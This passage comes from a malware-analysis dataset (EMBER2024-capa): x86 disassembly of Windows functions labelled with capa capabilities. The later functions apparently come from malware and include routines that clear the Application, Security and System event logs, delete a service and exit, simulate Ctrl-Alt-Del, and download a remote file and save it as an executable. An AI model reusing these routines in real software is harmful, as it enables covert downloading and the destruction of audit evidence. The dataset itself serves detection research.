joyce8/EMBER2024-capa huggingface dataset:
Function at 0x531bb0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0x14]
push edi
push esi
xor edi, edi
call fcn.004ca230
push esi
call fcn.004c9fe0
mov esi, eax
add esp, 8
test esi, esi
je 0x531d93
push ebx
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx + 4]
add eax, eax
push eax
push esi
call fcn.004a1920
add esp, 8
test eax, eax
je 0x531d92
mov eax, dword [ebx + 4]
lea ecx, [eax - 1]
test ecx, ecx
js 0x531d6e
mov edi, ecx
nop
mov eax, dword [ebx]
mov edx, dword [eax + edi*4]
mov ecx, edx
shr ecx, 1
mov eax, edx
and eax, 0x20000
and ecx, 0x8000
or ecx, eax
mov eax, edx
and eax, 0x40000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x80000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x100000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x200000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x400000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x800000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x1000000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x2000000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x4000000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x8000000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x10000000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x20000000
shr ecx, 1
or ecx, eax
mov eax, edx
and eax, 0x40000000
shr ecx, 1
or ecx, eax
and edx, reloc.WS2_32.dll_accept
mov eax, dword [esi]
shr ecx, 1
or ecx, edx
shr ecx, 1
mov dword [eax + edi*8 + 4], ecx
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
mov edx, ecx
and edx, 0x8000
mov eax, ecx
add edx, edx
and eax, 0x4000
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x2000
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x1000
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x800
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x400
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x200
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x100
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x80
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x40
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x20
or edx, eax
mov eax, ecx
add edx, edx
and eax, 0x10
or edx, eax
mov eax, ecx
add edx, edx
and eax, 8
or edx, eax
mov eax, ecx
add edx, edx
and eax, 4
or edx, eax
mov eax, ecx
add edx, edx
and eax, 2
or edx, eax
and ecx, 1
mov eax, dword [esi]
add edx, edx
or edx, ecx
mov dword [eax + edi*8], edx
sub edi, 1
jns 0x531c00
mov eax, dword [ebx + 4]
xor edi, edi
add eax, eax
push esi
mov dword [esi + 4], eax
call fcn.004a17a0
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
call fcn.00530cd0
add esp, 0x10
mov ecx, 1
test eax, eax
cmovne edi, ecx
pop ebx
push dword [ebp + 0x14]
call fcn.004c9ee0
add esp, 4
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x53bc40
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push dword [ebp + 0xc]
xorps xmm0, xmm0
mov dword [ebp - 8], 0
push 0
movups xmmword [ebp - 0x28], xmm0
movups xmmword [ebp - 0x18], xmm0
call fcn.0053d960
add esp, 8
mov ebx, dword [eax]
lea eax, [ebp - 0x28]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push eax
call fcn.0053b370
neg eax
push ebx
sbb esi, esi
inc esi
call dword [ebp + 8]
add esp, 8
mov dword [ebp + 8], eax
test eax, eax
jne 0x53bcfd
test esi, esi
jne 0x53bcfd
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push eax
call fcn.0053b370
add esp, 4
test eax, eax
jne 0x53bcfa
mov eax, dword fs:[0x2c]
mov esi, dword [eax]
add esi, 0x28f0
mov eax, dword [esi]
test eax, eax
jne 0x53bcd1
call fcn.005414b2
cmp dword [eax], 5
jne 0x53bcfa
call edi
sub eax, dword [ebp - 4]
cmp eax, 2
ja 0x53bd04
lea eax, [ebp - 0x28]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push eax
call fcn.0053b370
add esp, 4
test eax, eax
je 0x53bcc6
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x53c190
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp byte [ebx], 0
jne 0x53c1be
mov eax, dword fs:[0x2c]
mov eax, dword [eax]
mov eax, dword [eax + 0x28f0]
test eax, eax
jne 0x53c1b3
call fcn.005414b2
mov dword [eax], 2
xor eax, eax
pop ebx
pop ebp
ret
push ebx
push 0
call fcn.0053d960
add esp, 8
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call fcn.0053b370
add esp, 4
cmp eax, 0xffffffff
je 0x53c1b9
test al, 0x10
jne 0x53c205
mov eax, dword fs:[0x2c]
mov eax, dword [eax]
mov eax, dword [eax + 0x28f0]
test eax, eax
jne 0x53c1fa
call fcn.005414b2
mov dword [eax], 0x14
xor eax, eax
pop ebx
pop ebp
ret
push esi
push edi
push 1
push 0x1c
call fcn.005414c5
push 1
push pe_nt_image_headers32
mov edi, eax
call fcn.005414c5
push ebx
mov esi, eax
call fcn.0053c680
add esp, 0x14
mov dword [esi], eax
mov dword [edi], esi
mov eax, edi
mov dword [edi + 8], 0xffffffff
mov dword [edi + 0xc], pe_nt_image_headers32
mov dword [edi + 0x10], pe_nt_image_headers32
mov dword [edi + 4], 8
mov dword [edi + 0x14], 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x53c260
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 8]
mov ebx, dword [esi]
cmp eax, 0xffffffff
jne 0x53c32d
mov ecx, dword [ebx]
lea edx, [ebp - 0x108]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x53c287
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x53c2a0
sub ecx, edx
cmp byte [ebp + ecx - 0x109], 0x2f
je 0x53c2d3
lea edi, [ebp - 0x108]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x53c2c0
mov ax, word [0x56b90c]
mov word [edi], ax
lea edi, [ebp - 0x108]
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x53c2e0
mov ax, word [0x570e68]
mov word [edi], ax
lea eax, [ebp - 0x108]
push eax
push 0
call fcn.0053d960
add esp, 8
lea ecx, [ebp - 0x358]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push eax
call fcn.0053b370
add esp, 4
mov dword [esi + 8], eax
cmp eax, 0xffffffff
jne 0x53c382
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x358]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push eax
call fcn.0053b370
add esp, 4
test eax, eax
jne 0x53c382
mov eax, dword fs:[0x2c]
mov esi, dword [eax]
mov eax, dword [esi + 0x28f0]
test eax, eax
jne 0x53c35f
call fcn.005414b2
cmp dword [eax], 0x12
jne 0x53c379
mov eax, dword [esi + 0x28f0]
test eax, eax
jne 0x53c373
call fcn.005414b2
mov dword [eax], 0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
test byte [ebp - 0x358], 0x10
mov dword [ebx + 8], 0
sete al
mov dword [ebx + 0xc], 0
lea eax, [eax*4 + 4]
mov byte [ebx + 0x120], al
mov eax, 0x120
mov word [ebx + 0x10], ax
lea eax, [ebp - 0x32c]
push eax
push 0
call fcn.0053d670
push 0x104
lea esi, [ebx + 0x14]
push dword [eax]
push esi
call fcn.0053d8c0
add esp, 0x14
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x53c3d4
mov eax, dword fs:[0x2c]
sub esi, ecx
mov word [ebx + 0x12], si
mov eax, dword [eax]
mov eax, dword [eax + 0x28f0]
test eax, eax
jne 0x53c3f8
call fcn.005414b2
pop edi
mov dword [eax], 0
lea eax, [ebx + 8]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x53d520
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword fs:[0x2c]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, esi
mov edx, dword [eax]
add edx, 0x2cb4
push edi
mov dword [ebp - 4], edx
lea ecx, [ebx + 1]
xor edi, edi
mov al, byte [ebx]
inc ebx
test al, al
jne 0x53d544
push dword [edx]
sub ebx, ecx
call fcn.005414d0
lea eax, [ebx*2 + 2]
push eax
call fcn.005414d5
mov ebx, eax
add esp, 8
mov eax, dword [ebp - 4]
mov dword [ebp + 8], ebx
mov dword [eax], ebx
mov cl, byte [esi]
test cl, cl
je 0x53d58f
lea edx, [esi + 1]
cmp cl, 0xc0
jae 0x53d5ae
movzx eax, cl
mov word [ebx + edi*2], ax
inc edi
mov esi, edx
mov cl, byte [esi]
test cl, cl
jne 0x53d574
mov eax, dword [ebp - 4]
xor ecx, ecx
mov word [ebx + edi*2], cx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
pop edi
setne cl
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
cmp cl, 0xe0
jae 0x53d5fc
mov dl, byte [edx]
lea eax, [edi + 1]
mov dword [ebp - 8], eax
mov al, dl
and al, 0xc0
cmp al, 0x80
jne 0x53d5e9
and cl, 0x1f
and dl, 0x3f
movzx ecx, cl
shl cx, 6
movzx eax, dl
or cx, ax
movzx eax, cx
mov ecx, 2
mov word [ebx + edi*2], ax
add esi, ecx
mov edi, dword [ebp - 8]
jmp 0x53d586
movzx eax, cl
mov ecx, 1
mov word [ebx + edi*2], ax
add esi, ecx
mov edi, dword [ebp - 8]
jmp 0x53d586
cmp cl, 0xf0
jae 0x53d584
mov dl, byte [edx]
mov al, dl
and al, 0xc0
cmp al, 0x80
jne 0x53d64d
mov bl, byte [esi + 2]
mov al, bl
and al, 0xc0
cmp al, 0x80
jne 0x53d64a
and dl, 0x3f
movzx eax, cl
shl ax, 6
and bl, 0x3f
movzx edx, dl
or dx, ax
movzx eax, bl
mov ebx, dword [ebp + 8]
shl dx, 6
or dx, ax
mov eax, 3
movzx ecx, dx
add esi, eax
mov word [ebx + edi*2], cx
inc edi
jmp 0x53d586
mov ebx, dword [ebp + 8]
movzx ecx, cl
mov eax, 1
add esi, eax
mov word [ebx + edi*2], cx
inc edi
jmp 0x53d586

Function at 0x5412b9
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x5e0934
push 0x5e092c
push 0x5e0934
push 0
call fcn.00541232
mov esi, eax
add esp, 0x10
test esi, esi
je 0x5412eb
push dword [ebp + 8]
mov ecx, esi
call fcn.0053efb6
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x54132d
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x5e0964
push 0x5e095c
push 0x5e0964
push 3
call fcn.00541232
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x541361
mov ecx, esi
call fcn.0053efb6
call esi
jmp 0x541367
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret

Function at 0x557b58
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005579d7

Function at 0x559f1a
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00559e1f
Function at 0x561850
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x6015c8], 0
je 0x561906
cmp dword [0x6015e0], 0
je 0x561906
call fcn.00564fc0
test eax, eax
je 0x5618ce
push dword [0x6015e0]
lea eax, [ebp - 4]
push dword [0x6015d8]
push eax
push 0
call fcn.00564770
add esp, 0x10
test eax, eax
je 0x5618ce
push dword [0x6015c8]
push 1
push dword [ebp - 4]
push eax
call fcn.00548884
mov eax, dword [0x6015e0]
add esp, 0x10
cdq
add dword [0x6015d0], eax
mov dword [0x6015e0], 0
adc dword [0x6015d4], edx
call fcn.00561a90
mov esp, ebp
pop ebp
ret
push dword [0x6015c8]
push 1
push dword [0x6015e0]
push dword [0x6015d8]
call fcn.00548884
mov eax, dword [0x6015e0]
add esp, 0x10
cdq
add dword [0x6015d0], eax
mov dword [0x6015e0], 0
adc dword [0x6015d4], edx
mov esp, ebp
pop ebp
ret

Function at 0x561ca0
Capabilities:
Write file on windows

Disassembly:
cmp dword [0x601664], 0
jne fcn.00563690
jmp fcn.00561850

Function at 0x561db0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x6015f8], 0
jne 0x561ddd
call fcn.00564fc0
test eax, eax
jne 0x561ddd
push dword [0x6015c8]
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00548884
add esp, 0x10
pop ebp
ret
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
nop word [eax + eax]
mov eax, dword [0x6015e4]
mov esi, edi
sub eax, dword [0x6015e0]
cmp edi, eax
cmovge esi, eax
mov eax, dword [0x6015d8]
add eax, dword [0x6015e0]
push esi
push ebx
push eax
call fcn.0053f3e0
add dword [0x6015e0], esi
add esp, 0xc
add ebx, esi
sub edi, esi
je 0x561e3b
cmp dword [0x601664], 0
je 0x561e34
call fcn.00563690
jmp 0x561df0
call fcn.00561850
jmp 0x561df0
cmp dword [0x6015f8], 0
pop edi
pop esi
pop ebx
jne 0x561ddb
cmp dword [0x601664], 0
je 0x561e56
pop ebp
jmp fcn.00563690
pop ebp
jmp fcn.00561850
Function at 0x563370
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push 0x563a00
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 4]
sub eax, 4
push eax
call fcn.004207e0
push 0x80
push str.last__dKB_of_log_file:_n
push dword [ebp + 8]
mov dword [ebp - 8], eax
xor edi, edi
mov dword [ebp - 4], 0x30400
call fcn.0041a7d0
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00421a50
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push dword [ebp - 4]
push dword [eax]
push dword [ebp + 0xc]
call fcn.00423b60
add esp, 0x30
test eax, eax
jne 0x563446
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push esi
mov esi, dword [eax]
cmp ecx, 0x20000
jle 0x56342d
push ecx
push esi
call fcn.00564e40
add esp, 8
test eax, eax
je 0x563422
nop
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov ecx, eax
sub ecx, edx
cmp ecx, 0x10400
jge 0x563417
mov edi, eax
inc eax
sub edx, eax
add edx, dword [ebp - 4]
push edx
push eax
call fcn.00564e40
add esp, 8
test eax, eax
jne 0x5633f0
test edi, edi
je 0x563422
mov ecx, dword [ebp - 4]
mov esi, edi
jmp 0x56342d
mov ecx, dword [ebp - 4]
add esi, 0xfffe0000
add esi, ecx
mov eax, dword [ebp - 8]
push dword [ebp + 8]
mov eax, dword [eax]
sub eax, esi
add eax, ecx
push eax
push 1
push esi
call fcn.00548884
add esp, 0x10
pop esi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x5649e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
cmp ecx, 0xffffffff
jne 0x5649fe
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5649f4
sub ecx, esi
pop esi
push ecx
push edx
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 8]
call fcn.00564770
add esp, 0x10
test eax, eax
je 0x564a24
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push 1
push eax
call fcn.00548884
add esp, 0x10
pop ebp
ret

Function at 0x564dd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push str.wbEe
push dword [ebp + 8]
call fcn.00423600
mov esi, eax
add esp, 8
mov dword [ebp - 8], esi
test esi, esi
je 0x564e3a
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
cmp ecx, 0xffffffff
jne 0x564e0b
mov ecx, edx
push edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x564e01
sub ecx, edi
pop edi
push ecx
push edx
lea eax, [ebp - 4]
push eax
push 0
call fcn.00564770
add esp, 0x10
test eax, eax
je 0x564e2e
push esi
push dword [ebp - 4]
push 1
push eax
call fcn.00548884
add esp, 0x10
lea eax, [ebp - 8]
push eax
call fcn.004235e0
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100063b0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x168]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100064a5
mov ecx, 0x41
lea edi, [esp + 0x64]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 0xc], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100064a5
lea ecx, [esp + 0xc]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100064a5
lea eax, [esp + 0x64]
push 0x10017288
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x100064a5
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x170]
mov dword [esp + 0x20], 0x44
test eax, eax
je 0x1000647f
mov dword [esp + 0x28], str.WinSta0Default
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x80]
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x160
ret

Function at 0x100064b0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10006500
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x100064e7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10006590
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.10007890
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esi], 0x1001350c
je 0x100065b9
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x100065cb
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100065db
push eax
push 0x10019074
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x10005f60
push 0
mov dword [0x100172cc], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18
Function at 0x10006ac0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x104
ret

Function at 0x10006b00
Capabilities:
Delete service
Terminate process

Disassembly:
push esi
push edi
call fcn.10006ac0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x100192c8
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
push 1
push 0
push 3
call fcn.1000bbf0
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 1
call fcn.1000bbf0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10006b80
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
test eax, eax
je 0x10006bdd
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10006be1
lea eax, [esp + 0x34]
push edi
push eax
call ebx
test eax, eax
jne 0x10006bc2
mov ebp, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret

Function at 0x10006c80
Capabilities:
Enumerate gui resources

Disassembly:
mov edx, dword [esp + 4]
push edi
test edx, edx
je 0x10006d04
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10006d04
mov ecx, 0x32
mov edi, 0x100191b8
rep stosd dword es:[edi], eax
mov edi, edx
or ecx, 0xffffffff
mov dword [0x10019280], eax
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, 0x100191b8
push 0x10006c00
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_EnumWindows]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0xbb8
mov eax, dword [0x10019280]
test eax, eax
jne 0x10006cfc
push 0xc8
call edi
sub esi, 0xc8
cmp esi, 1
jg 0x10006ce1
mov eax, dword [0x10019280]
pop esi
pop edi
ret
xor eax, eax
pop edi
ret
Function at 0x1000a980
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.1000a930
add esp, 4
test eax, eax
jne 0x1000a9a3
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000a9c7
push esi
call fcn.1000a8c0
add esp, 4
mov eax, 1
pop esi
ret

Function at 0x1000a9d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x1000aa13
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push connect
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, ebp
jne 0x1000aa3d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x1000aacf
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x1000aa91
cmp word [esp + 0x24], 0x5a4d
jne 0x1000aab8
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000aac0
jmp 0x1000aa65
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret